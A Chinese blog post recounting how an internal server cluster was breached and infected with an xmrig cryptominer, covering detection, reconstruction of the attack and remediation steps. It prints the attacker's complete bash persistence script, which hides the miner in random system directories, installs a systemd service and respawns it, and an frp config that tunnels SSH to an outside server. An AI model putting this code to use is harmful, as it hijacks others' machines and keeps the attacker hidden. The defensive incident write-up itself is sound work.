记录一次服务器集群被攻击

最近,我们在内网的服务器集群遭到攻击,被植入挖矿病毒。

事件回顾

由于内网环境有多层NAT,因此所有机器上的NTP时间同步服务均是无效的,在事件回顾部分,部分日志中记录的时间点并不一定完全准确。

3月4日,我和往常一样登录到内网的服务器,并没有注意到什么异常。然而中午有同学报告,多台服务器上存在随机进程名的服务,占用了50%的系统资源。起初我并没有在意这个问题,因为J同学曾经跟我打过招呼他要在多台服务器上运行一些数据预处理的程序,这些程序非常占用内存,为此我还帮他扩展了部分机器的虚拟内存。

大量随机名进程

下午J同学来了,我立即询问他这些进程是否还是他在使用,他说早就处理完了!大量随机名称的进程,占用50%的系统资源,我立即感觉情况不妙,很有可能是恶意程序,大量资源占用莫非是在加密文件(勒索病毒?),我立即叫来另一个维护服务器的同学,一起排查。

程序运行的路径非常有意思,是在/usr/local/bin/.../system下的一个脚本。如果在/usr/local/bin/下直接cd .../是进不去的,因为cd会以为要先访问当前路径(一个点)再访问上一层路径(两个点)。最后是用绝对路径进去的。进入路径之后,我看到了xmrig,这明显是挖矿的程序,果然比较坏的情况发生了,服务器被挂了挖矿木马。

目录下有一份config.json,应该用来在指定如何连接到矿池,有攻击者矿池的地址和账号密码。非常耐人寻味的是,我们的机器上明明有很多显卡,攻击者却选择关掉了cuda,选择以最低效的CPU进行挖矿。

再来看看攻击者是怎么让挖矿程序启动的,攻击者编写了一个sh脚本,取名叫system,这也就是刚才查看进程的时候,大量随机进程的父进程。我们再来看看他是如何让这些挖矿进程保活的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
#!/bin/bash

# Get the absolute path of the script's directory
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"

# Set the paths for xmrig and config file
xmrig_path="$SCRIPT_DIR/xmrig"
config_file="$SCRIPT_DIR/config.json"

base_directories_root=("/var/lib" "/var/log" "/var/cache" "/usr/bin" "/var/tmp" "/dev/shm" "/tmp" "/boot" "/lib" "/home" "/root" "/etc" "/dev" "/run")
service_name="system"

# Function to generate a random name
generate_random_name() {
head /dev/urandom | tr -dc A-Za-z0-9 | head -c 10
}

# Function to generate a random directory path
generate_random_directory() {
base_dir="$1"
random_name=$(generate_random_name)
echo "$base_dir/.$random_name"
}

# Function to check if xmrig is running
is_xmrig_running() {
pgrep -f "$random_name" > /dev/null
}

# Function to start xmrig with a random directory and copy xmrig and config file
start_xmrig() {
shuffled_directories=()

shuffled_directories=($(shuf -e "${base_directories_root[@]}"))

for base_dir in "${shuffled_directories[@]}"; do
directory=$(generate_random_directory "$base_dir")

# Attempt to create the directory
mkdir -p "$directory" && break
done

# Ensure the directory is created before attempting to copy files
[ -d "$directory" ] || { echo "Failed to create directory: $directory"; exit 1; }

cp "$xmrig_path" "$directory/"
cp "$config_file" "$directory/"

random_name=$(generate_random_name)
ln -s "$directory/xmrig" "$directory/$random_name"

(cd "$directory" && "./$random_name") &
}

# Function to create directories if they don't exist
create_directories() {
for base_dir in "${base_directories_root[@]}"; do
mkdir -p "$base_dir"
done
}

# Function to create a custom service
create_custom_service() {
service_file="/etc/systemd/system/$service_name.service"

cat <<EOL >"$service_file"
[Unit]
Description=Custom System Service

[Service]
ExecStart=$SCRIPT_DIR/$(basename "$BASH_SOURCE")
Restart=always

[Install]
WantedBy=default.target
EOL

systemctl daemon-reload
systemctl enable "$service_name.service"
systemctl start "$service_name.service"
}

# Check for sudo privileges
if [ "$EUID" -eq 0 ]; then
create_directories
create_custom_service
fi

# Initial setup
create_directories
start_xmrig

# Main loop
while true; do
sleep 5

# Check if xmrig is running, restart if not
if ! is_xmrig_running; then
create_directories
start_xmrig
fi
done

不说很优雅吧,但确实做到了最简单的保活机制。在一些系统关键目录下生成随机的文件夹,并放入挖矿进程和配置文件。如果有root权限则注册成一个系统服务,利用系统服务侦听挖矿进程是否中断,如果没有root权限,那就每隔5秒检查一次。在所有内网服务器中,有两台机器被攻击者成功提权,注册成了系统服务;其余机器都是普通用户权限运行,kill一下就断掉了。特别要说明的是,由于攻击者的脚本采用了相对路径启动的方式,直接在htop里是看不出来脚本文件在哪的(即上述随机目录),因此要用lsof命令查询这些脚本打开了那些文件,来定位挖矿木马究竟在哪。

1
lsof -p <pid>

在确定完上述关键信息以后,对所有机器上的挖矿木马进行清除,之后我们进行了更为严格安全检查,并尝试复原整个攻击过程。

攻击还原

参考xmrig的运行时间,我们初步确定了攻击者的第一个突破点。使用who命令,我们很快定位到了一次不同寻常的root登录记录。

1
who /var/log/wtmp

由于时间过于久远,相关的/var/log/auth.log文件已经被覆盖,尚不清楚攻击者究竟是怎么登录的root账号,但是高度怀疑是密码爆破。

第一个攻击点
攻击者选择使用tmux虚拟终端进行操作,更加有利于隐蔽自己的行踪。我们立即使用tmux attach附着到这个tmux虚拟终端,发现攻击者在其中运行了frp穿透程序,将本机的ssh穿透到公网,直接将这台服务器当成了跳板机!

1
2
3
4
5
6
7
8
9
10
[common]
server_addr = *.*.*.*
server_port = 20010

[***]
type = tcp
local_ip = 127.0.0.1
local_port = 22
remote_port = 20017

发现这一情况以后我们立即停止了frp程序,并在网关中配置阻断该IP的全部流量。之后我们检查了内网其他服务器的ssh认证日志,发现了大量来自这台服务器的登录尝试,单台服务器的尝试次数超过12万。

改进措施

根据上述攻击过程复原,我们基本掌握了本次被攻击的主要脉络,找到了薄弱点。为了避免再次遭受此类攻击,主要的改进措施如下:

  1. 严格禁止root账号用密码从ssh远程登陆,删除停用部分遗留账号。 本次攻击的第一层突破口在于攻击者直接利用root账号登录了第一台内网服务器。由于时间久远相关日志文件缺失,因此无法了解攻击者究竟是利用密码爆破还是安全漏洞登录的root账号。出于最基本的安全考虑,我们在所有服务器上配置了严格禁止root账号以密码形式登录,并排查了root账号下是否被配置了可疑的密钥文件,谨防攻击者留有后门;本次攻击的第二层突破口在于内网其他服务器上有用户使用了弱密码,攻击者利用密码爆破的手段登录了这些服务器。这部分账号有的还有sudo权限,因此攻击者得以顺利提权。针对这一问题,我们删除系统上无人使用的遗留账号,要求其余用户修改密码;

  2. 配置pam策略,确保用户定期更新符合强度要求的密码。 弱密码是本次攻击中的致命点。考虑到部分用户因客观条件所限无法配置密钥登录,我们选择配置pam策略,强制这部分用户定期更新密码,并对新密码的强度做出约束和要求,避免出现弱密码;

  3. 开启fail2ban,阻断恶意密码试探及爆破。 密码爆破是本次攻击中的重要手段,通过撞库的方式攻击者对每一台内网服务器至少进行了12万次ssh密码爆破。在发现服务器异常并发现存在ssh爆破登录问题后,我们立即开启了fail2ban,第一时间阻断了恶意密码试探及爆破。

  4. 检查网关NAT映射表,关停遗留无效转发策略,避免脆弱服务暴露。 由于无法断定最初的root登录方式,我们高度怀疑内部使用的部分平台软件存在安全漏洞。由于我们无法更改或修改部分内部系统,将这部分脆弱服务继续暴露将带来额外的风险。因此我们停用了网关上的转发策略,等待进一步对这些脆弱服务进行关停或升级处理。

本文作者:MyTech::Author

本文链接: https://mytech.pages.dev/2024/03/10/attack-30/